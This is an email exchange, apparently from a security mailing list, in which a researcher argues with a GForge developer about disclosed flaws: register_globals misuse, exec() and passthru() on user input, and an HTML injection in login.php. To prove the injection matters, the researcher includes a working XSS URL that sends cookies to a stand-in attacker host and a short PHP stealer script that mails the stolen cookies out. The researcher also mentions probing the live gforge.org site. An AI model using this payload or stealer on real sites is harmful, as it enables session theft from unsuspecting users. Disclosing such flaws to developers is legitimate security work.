Hi,
.
>
> I don't know what this means. "Bypass any restriction" ??
If the other parts of GForge have the same form of protection , they are
vulnerable too.
The problem is just a register_globals problem , really common.
> sys_show_source is set in etc/local.inc, so it would be set AFTER
> get/post/cookie, and even if it was you can only see the source code,
> which is already fully downloadable and free.
>
> > Tell me if you need help.
> >
> > Best regards.
> > PS: Confirm permission to publish the report in some security related
sites.
> > Tell me if you need help.
>
> Why do you want to publish these so badly? I won't give permission until
> you've written a usable exploit for those exec() calls.
When something is affected by a security hole , normally , after fixing the
problems the report is published
in some of the whitehat lists.
I normally don't write exploits ( and i don't publish them ) but the exploit
is useless ,
the only thing you must do is access the scripot by inserting the crafted
value of the variable.
> /www/account/login.php
>
> Line 84: $return_to allows html code injection .
>
> Again, who cares? So a hacker can open up an alert window on their own
> machine? Why do I care if they do that?
"hacker" ( i will use the term of kiddie , as an attacker only wants to f*ck
up the users ).
kiddies can use that to insert html code to steal cookie values.
example:
some body access
/account/login.php?return_to="><script>document.location('http://xyz.bad/ste
aler.php?data='+document.cookie);</script>
the cookie data will be stored in $data variable of the attacker script ,
then it will be sent / used by the attacker to do anything he wants.
its a real problem.
just a little of social engineering must be used to obligate an user to do
that.
the simple code of the stealer.php can be this:
<?php
$data = $HTTP_GET_VARS['data'];
passthru("echo $data >> stolen.txt");
passthru("cat stolen.txt | mail -s woot [EMAIL PROTECTED]");
?>
> /www/include/logger.php
>
> Line 73>76 : When sending invalid inputs against SQL backend, db_error()
> outputs an error message with the
>
> And again. So they pop up a window on their own machine?
No , read the other answer to return_to question.
> /common/include/account.php
>
> Line 79: Security risk due to unsecure use of exec(); function against
> an user-provided variable.
>
> This does look exploitable to me. Roland Mas had better get that fixed
ASAP.
Good luck.
> /common/include/utils.php
>
> Line 111: Security risk , again , when using an unsecurely for exec();
> function
>
> Possibly exploitable, although I can't say for sure. Why not write an
> exploit for it and see? All the text that is emailed is escaped before
> being sent to that call, still it is not 100% secure as it should be.
Ok , i will try some things ( against gforge.org , please , don't care :)
> /www/scm/cvsweb.php
>
> Line 29: Unsecure use of passthru(), function is a high security risk
> with register_globals set to On ( GForge needs it ).
>
> Yes, that is awful.
:) remove the fscking functions like passthru , exec , etc . or just enable
safe_mode ( this will
put gforge code pissing on the box as safe_mode closes register_globals :)
Best regards!
